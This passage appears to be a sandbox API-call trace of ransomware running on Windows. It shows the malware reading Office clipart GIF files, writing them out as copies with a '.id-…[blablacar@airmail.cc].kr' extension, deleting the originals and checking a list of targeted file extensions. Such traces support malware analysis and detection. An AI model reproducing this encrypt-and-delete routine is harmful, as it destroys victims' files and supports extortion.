lpString2=".xml") returned -1 [0103.011] lstrlenW (lpString=".7z") returned 3 [0103.011] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0103.011] lstrlenW (lpString=".dbf") returned 4 [0103.011] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0103.012] lstrlenW (lpString=".1cd") returned 4 [0103.012] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0103.012] lstrlenW (lpString=".jpg") returned 4 [0103.012] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.012] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0103.012] lstrlenW (lpString="AG00004_.GIF") returned 12 [0103.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0103.480] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=9024) returned 1 [0103.480] CloseHandle (hObject=0x388) returned 1 [0103.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 0x220 [0103.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0103.480] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0103.481] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0103.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0103.481] GetLastError () returned 0x0 [0103.481] ReadFile (in: hFile=0x388, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x2340, lpOverlapped=0x0) returned 1 [0103.483] WriteFile (in: hFile=0x370, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x2350, lpOverlapped=0x0) returned 1 [0103.484] ReadFile (in: hFile=0x388, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0103.485] WriteFile (in: hFile=0x370, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0103.485] SetEndOfFile (hFile=0x370) returned 1 [0103.485] CloseHandle (hObject=0x370) returned 1 [0103.486] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0103.486] SetEndOfFile (hFile=0x388) returned 1 [0103.487] CloseHandle (hObject=0x388) returned 1 [0103.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0103.488] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0103.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0103.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0103.488] lstrlenW (lpString=".doc") returned 4 [0103.488] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0103.488] lstrlenW (lpString=".docx") returned 5 [0103.488] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0103.488] lstrlenW (lpString=".pdf") returned 4 [0103.488] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0103.488] lstrlenW (lpString=".xls") returned 4 [0103.488] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0103.488] lstrlenW (lpString=".xlsx") returned 5 [0103.488] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0103.488] lstrlenW (lpString=".ppt") returned 4 [0103.489] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0103.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0103.489] lstrlenW (lpString=".zip") returned 4 [0103.489] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0103.489] lstrlenW (lpString=".rar") returned 4 [0103.489] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0103.489] lstrlenW (lpString=".bz2") returned 4 [0103.489] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0103.489] lstrlenW (lpString=".7z") returned 3 [0103.489] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0103.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0103.489] lstrlenW (lpString=".dbf") returned 4 [0103.489] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0103.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0103.489] lstrlenW (lpString=".1cd") returned 4 [0103.489] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0103.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0103.489] lstrlenW (lpString=".jpg") returned 4 [0103.489] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0103.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0103.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0103.490] lstrlenW (lpString=".doc") returned 4 [0103.490] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0103.490] lstrlenW (lpString=".docx") returned 5 [0103.490] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0103.490] lstrlenW (lpString=".pdf") returned 4 [0103.490] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0103.490] lstrlenW (lpString=".xls") returned 4 [0103.490] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0103.490] lstrlenW (lpString=".xlsx") returned 5 [0103.490] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0103.490] lstrlenW (lpString=".ppt") returned 4 [0103.490] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0103.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0103.490] lstrlenW (lpString=".zip") returned 4 [0103.490] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0103.490] lstrlenW (lpString=".rar") returned 4 [0103.490] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0103.490] lstrlenW (lpString=".bz2") returned 4 [0103.490] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0103.490] lstrlenW (lpString=".7z") returned 3 [0103.490] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0103.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0103.490] lstrlenW (lpString=".dbf") returned 4 [0103.490] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0103.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0103.491] lstrlenW (lpString=".1cd") returned 4 [0103.491] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0103.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0103.491] lstrlenW (lpString=".jpg") returned 4 [0103.491] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0103.491] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0103.491] lstrlenW (lpString="AG00040_.GIF") returned 12 [0103.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0103.491] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=8097) returned 1 [0103.491] CloseHandle (hObject=0x388) returned 1 [0103.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 0x220 [0103.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0103.492] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0103.492] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0103.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0103.492] GetLastError () returned 0x0 [0103.492] ReadFile (in: hFile=0x388, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x1fa1, lpOverlapped=0x0) returned 1 [0103.494] WriteFile (in: hFile=0x370, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x1fb0, lpOverlapped=0x0) returned 1 [0103.496] ReadFile (in: hFile=0x388, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0103.496] WriteFile (in: hFile=0x370, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0103.496] SetEndOfFile (hFile=0x370) returned 1 [0103.496] CloseHandle (hObject=0x370) returned 1 [0103.497] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0103.498] SetEndOfFile (hFile=0x388) returned 1 [0103.499] CloseHandle (hObject=0x388) returned 1 [0103.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0103.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0103.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0103.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0103.499] lstrlenW (lpString=".doc") returned 4 [0103.500] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0103.500] lstrlenW (lpString=".docx") returned 5 [0103.500] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0103.500] lstrlenW (lpString=".pdf") returned 4 [0103.500] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0103.500] lstrlenW (lpString=".xls") returned 4 [0103.500] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0103.500] lstrlenW (lpString=".xlsx") returned 5 [0103.500] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0103.500] lstrlenW (lpString=".ppt") returned 4 [0103.500] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0103.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0103.500] lstrlenW (lpString=".zip") returned 4 [0103.500] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0103.500] lstrlenW (lpString=".rar") returned 4 [0103.500] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0103.500] lstrlenW (lpString=".bz2") returned 4 [0103.500] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0103.500] lstrlenW (lpString=".7z") returned 3 [0103.500] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0103.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0103.500] lstrlenW (lpString=".dbf") returned 4 [0103.500] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0103.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0103.500] lstrlenW (lpString=".1cd") returned 4 [0103.500] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0103.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0103.501] lstrlenW (lpString=".jpg") returned 4 [0103.501] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0103.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0103.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0103.501] lstrlenW (lpString=".doc") returned 4 [0103.501] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0103.501] lstrlenW (lpString=".docx") returned 5 [0103.501] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0103.501] lstrlenW (lpString=".pdf") returned 4 [0103.501] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0103.501] lstrlenW (lpString=".xls") returned 4 [0103.501] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0103.501] lstrlenW (lpString=".xlsx") returned 5 [0103.501] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0103.501] lstrlenW (lpString=".ppt") returned 4 [0103.501] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0103.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0103.501] lstrlenW (lpString=".zip") returned 4 [0103.501] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0103.501] lstrlenW (lpString=".rar") returned 4 [0103.501] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0103.501] lstrlenW (lpString=".bz2") returned 4 [0103.501] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0103.501] lstrlenW (lpString=".7z") returned 3 [0103.501] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0103.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0103.502] lstrlenW (lpString=".dbf") returned 4 [0103.502] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0103.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0103.502] lstrlenW (lpString=".1cd") returned 4 [0103.502] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0103.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0103.502] lstrlenW (lpString=".jpg") returned 4 [0103.502] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0103.502] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0103.502] lstrlenW (lpString="AG00052_.GIF") returned 12 [0103.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0103.503] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=7686) returned 1 [0103.503] CloseHandle (hObject=0x388) returned 1 [0103.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 0x220 [0103.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0103.504] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0103.504] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0103.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0103.504] GetLastError () returned 0x0 [0103.504] ReadFile (in: hFile=0x388, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x1e06, lpOverlapped=0x0) returned 1 [0103.507] WriteFile (in: hFile=0x370, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x1e10, lpOverlapped=0x0) returned 1 [0103.508] ReadFile (in: hFile=0x388, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0103.508] WriteFile (in: hFile=0x370, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0103.508] SetEndOfFile (hFile=0x370) returned 1 [0103.509] CloseHandle (hObject=0x370) returned 1 [0103.510] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0103.510] SetEndOfFile (hFile=0x388) returned 1 [0103.511] CloseHandle (hObject=0x388) returned 1 [0103.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0103.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0103.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0103.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0103.512] lstrlenW (lpString=".doc") returned 4 [0103.512] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0103.512] lstrlenW (lpString=".docx") returned 5 [0103.512] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0103.512] lstrlenW (lpString=".pdf") returned 4 [0103.512] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0103.512] lstrlenW (lpString=".xls") returned 4 [0103.512] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0103.512] lstrlenW (lpString=".xlsx") returned 5 [0103.512] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0103.512] lstrlenW (lpString=".ppt") returned 4 [0103.512] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0103.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0103.512] lstrlenW (lpString=".zip") returned 4 [0103.512] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0103.512] lstrlenW (lpString=".rar") returned 4 [0103.512] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0103.512] lstrlenW (lpString=".bz2") returned 4 [0103.512] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0103.513] lstrlenW (lpString=".7z") returned 3 [0103.513] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0103.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0103.513] lstrlenW (lpString=".dbf") returned 4 [0103.513] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0103.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0103.513] lstrlenW (lpString=".1cd") returned 4 [0103.513] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0103.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0103.513] lstrlenW (lpString=".jpg") returned 4 [0103.513] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0103.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0103.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0103.513] lstrlenW (lpString=".doc") returned 4 [0103.513] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0103.513] lstrlenW (lpString=".docx") returned 5 [0103.513] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0103.513] lstrlenW (lpString=".pdf") returned 4 [0103.513] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0103.513] lstrlenW (lpString=".xls") returned 4 [0103.513] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0103.513] lstrlenW (lpString=".xlsx") returned 5 [0103.513] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0103.513] lstrlenW (lpString=".ppt") returned 4 [0103.513] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0103.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0103.514] lstrlenW (lpString=".zip") returned 4 [0103.514] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0103.514] lstrlenW (lpString=".rar") returned 4 [0103.514] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0103.514] lstrlenW (lpString=".bz2") returned 4 [0103.514] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0103.514] lstrlenW (lpString=".7z") returned 3 [0103.514] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0103.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0103.514] lstrlenW (lpString=".dbf") returned 4 [0103.514] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0103.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0103.514] lstrlenW (lpString=".1cd") returned 4 [0103.514] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0103.514] lstrlenW 